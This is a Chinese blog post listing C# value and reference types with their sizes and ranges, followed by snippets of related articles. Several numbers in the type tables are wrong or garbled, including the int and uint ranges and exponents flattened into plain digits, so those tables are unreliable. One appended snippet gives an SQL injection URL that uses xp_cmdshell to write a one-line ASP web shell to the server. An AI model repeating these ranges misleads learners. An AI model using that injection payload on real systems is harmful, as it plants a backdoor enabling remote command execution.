C#数据类型整理

在对编程一穷二白的时候接触到了VB6.0,感觉VB理解起来比较容易,对于初学者来说能很容易的就弄出图形化界面容易让人产生兴趣。使用VB也有一年了,经过《学生管理系统》和《机房收费系统》两个练习项目后,应该说对VB是有一定的理解的。

    最近再看《大话设计模式》这本书,顺便也就把C#学了学,关于C#中的数据类型虽然有一种熟悉的感觉但是多少还是跟VB有点区别的。今天整理一下,需要用的时候再来看看。

                                         

    C#中的数据类型可以分为两类:数值类型和引用类型。

一、数值类型

数值类型包括内嵌类型、自定义类型、枚举;当然我们也能将它们分为简单值类型和复合型类型。

                                                                    

    1、整数类型


C#数据类型


大小


取值范围


sbyte


有符号8位整数


-128~127


byte


无符号8位整数


0-255


short


有符号16位整数


-32768-32767


ushort


无符号16位整数


0-65535


Int


有符号32位整数


-2147489648-2147483647


uint


无符号32位整数


0-42994967295


long


有符号64位整数


-263-263


ulong


无符号64位整数


0-264

 

    2、字符类型

    C#中采用Unicode字符集来表示字符类型。

 

    3、实数类型


C#数据类型


大小


取值范围


float


32位单精度实数


1.5*10-45-3.4*1038


double


64位双精度实数


5.0*10-324-1.7*10308


demcimal


128位十进制实数


1.0*10-28-7.9*1028

 

    4、布尔类型

    取值只能是true或者false,bool类型对应于.NET类库中的System.Boolea结构。它在计算机中占4个字节,即32为存储空间。

 

    5.结构类型:

    把一系列相关的信息组织成为一个单一实体的过程,这就是创建一个结构过程。

    struct person
    {

   
    string m_name; //姓名
   
    int m_age; //年龄
   
    string m_sex; //性别

    }

    6.枚举类型:

    主要用于表示一个逻辑相关联的项和组合。使用关键字enum来定义。

    enum Weekday

    {

   
    Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday

    }

 

    二.引用类型

   
引用类型包括类(class)、接口(interface)、委托(delegate)和数组(array)。

    1、类(class):

   
类是面向对象编程的基本单位,是一种包含数据成员、函数成员和嵌套类型的数据结构。类的数据成员有常量、域和事件。函数成员包括方法、属性、索引指示器、运算符、构造函数和析构函数。类和结构同样都包含了自己的成员,但它们之间最主要的区别在于:类是引用类型,而结构是值类型。

   
类支持继承机制,通过继承,派生类可以扩展基类的数据成员和函数方法,进而达到代码重用和设计重用的目的。

 

    2、接口(interface):

   
应用程序之间要相互调用,就必须事先达成一个协议,被调用的一方在协议中对自己所能提供的服务进行描述。在C#中,这个协议就是接口。接口定义中对方法的声明,既不包括访问限制修饰符,也不包括方法的执行代码。如果某个类继承了一个接口,那么它就要实现该接口所定义的服务。也就是实现接口中的方法。

 

   
3、委托:委托用语封装某个方法的调用过程。委托的使用过程分为3步:

   
1).定义 delegate void HelloDelegate();

   
2).实例化 HelloDelegate hd = new HelloDelegate(p1.Say); //p1.Say调用的方法

   
3).调用 hd();

 

    4.数组:

    数组主要用于同一数据类型的数据进行批量处理。在C#中,数组需要初始化之后才能使用。

时间: 2024-10-30 18:07:12

C#数据类型整理的相关文章

T-SQL: 读取磁盘文件

数据倒入还是建议用 bcp if exists (select * from tempdb..sysobjects where id = object_id(N'tempdb..#T'))   drop table [#T] Create table #T(id int identity(1,1) not null, remark varchar(8001) null)Insert into #TExec master.dbo.xp_cmdshell 'type e:\data.txt' sel

javascript学习笔记整理(概述、变量、数据类型简介)_基础知识

A.概述1.输出工具: document.write()---可以是html alert()---字符串 prompt(text,defaultText) text---可选.要在对话框中显示的纯文本(而不是 HTML 格式的文本). defaultText---可选.默认的输入文本. 2.js的放置 a.可以再HTML的任何位置放置 b.但他是一个整体,相互影响 c.在超链接和重定向的位置 <a href="javascript:alert();"></a>

关于PHP中常见数据类型的汇总

 本文整理了有关于PHP中常见的数据类型,感兴趣的朋友可以参考下 PHP 数据类型    PHP 支持八种原始类型(type).    四种标量类型:  string(字符串)  integer(整型)  float(浮点型,也作 double )  boolean(布尔型)    两种复合类型:  array(数组)  object(对象)    两种特殊类型:  resource(资源)  NULL(空)    查看变量类型    通过 gettype() 函数可以方便的查看某个变量的类型:

整理对Spark SQL的理解

Catalyst Catalyst是与Spark解耦的一个独立库,是一个impl-free的执行计划的生成和优化框架. 目前与Spark Core还是耦合的,对此user邮件组里有人对此提出疑问,见mail.   以下是Catalyst较早时候的架构图,展示的是代码结构和处理流程. Catalyst定位 其他系统如果想基于Spark做一些类sql.标准sql甚至其他查询语言的查询,需要基于Catalyst提供的解析器.执行计划树结构.逻辑执行计划的处理规则体系等类体系来实现执行计划的解析.生成.

javascript运算符整理

说起运算符,基本上各类编程语言中都会涉及,使用方法大同小异.今天在这里以javascript做简单的整理.   总得来说运算符还是比较的多,大致可以分为以下几种类型: 一元运算符 位运算符 布尔运算符 乘性运算符 加性运算符 关系运算符 等性运算符 条件运算符 赋值运算符 逗号运算符 可以说只要学习过变成语言对这些运算符应该是并不陌生的,只要有逻辑或者是计算都会用到上面的运算符,之前我也是比较零散的使用过,从来没有系统的学习和整理过这些运算符到底怎么使用?之间有什么区别和联系?有什么使用上的技巧

PHPDocumentor 注释规范整理

你会写注释么?从我写代码开始,这个问题就一直困扰着我,相信也同样困扰着其他同学.以前的写注释总是没有一套行之有效的标准,给维护和协同开发带了许多麻烦,直到最近读到了phpdocumentor的注释标准.   下面对phpdocumentor的注释标准进行总结: Type(数据类型):   string 字符串类型 integer or int 整型 boolean or bool 布尔类型 true or false float or double 浮点类型 object 对象 mixed 混合

将DW数据窗口导出为EXCEL文件的方法(整理)

excel|数据 本文为摘自CSDN论坛帖子收集整理后汇总版本: ---2004年9月3日整理 ---原贴见: http://community.csdn.net/Expert/topic/3328/3328715.xml?temp=8.050799E-04 鉴于现在很多朋友询问 pb 数据导出到excel 中的问题,导出去后格式和数据类型不对了,自己写了几个用户对象,希望能抛砖引玉,加强技术交流,得到大家的支持. 1. nvo_excel 只要是两个接口函数导出数据存储的数据,可以定义 exc

最详细的SQL注入相关的命令整理

sql 1.   用^转义字符来写ASP(一句话木马)文件的方法:   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--    echo ^<%execute^(req

flash与后台数据交换方法整理续

后台|数据 相关文章:flash与后台数据交换方法整理      个人觉得WebService的数据访问速度,仅次于Remoting,但WebService是一种通用型的接口,一般服务端技术都支持的!      WebService的优点:       1.WebService的接口支持比较广泛(Java,ASP.Net,PHP,Coldfusion-我下面举例用):       2.WebService是一个通用型的接口,所以服务端写的接口,不局限于Flash使用,其他程序也可以调用,"一举两